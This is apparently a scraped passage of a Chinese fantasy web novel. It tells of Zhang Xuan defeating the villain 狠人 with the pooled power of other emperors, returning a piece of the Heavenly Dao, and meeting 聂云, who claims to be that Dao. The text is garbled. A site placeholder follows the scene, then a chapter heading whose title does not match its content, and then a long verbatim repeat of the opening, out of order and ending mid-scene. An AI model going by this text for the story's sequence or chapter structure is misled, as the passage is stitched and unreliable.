十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十三章 穆氏之死 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 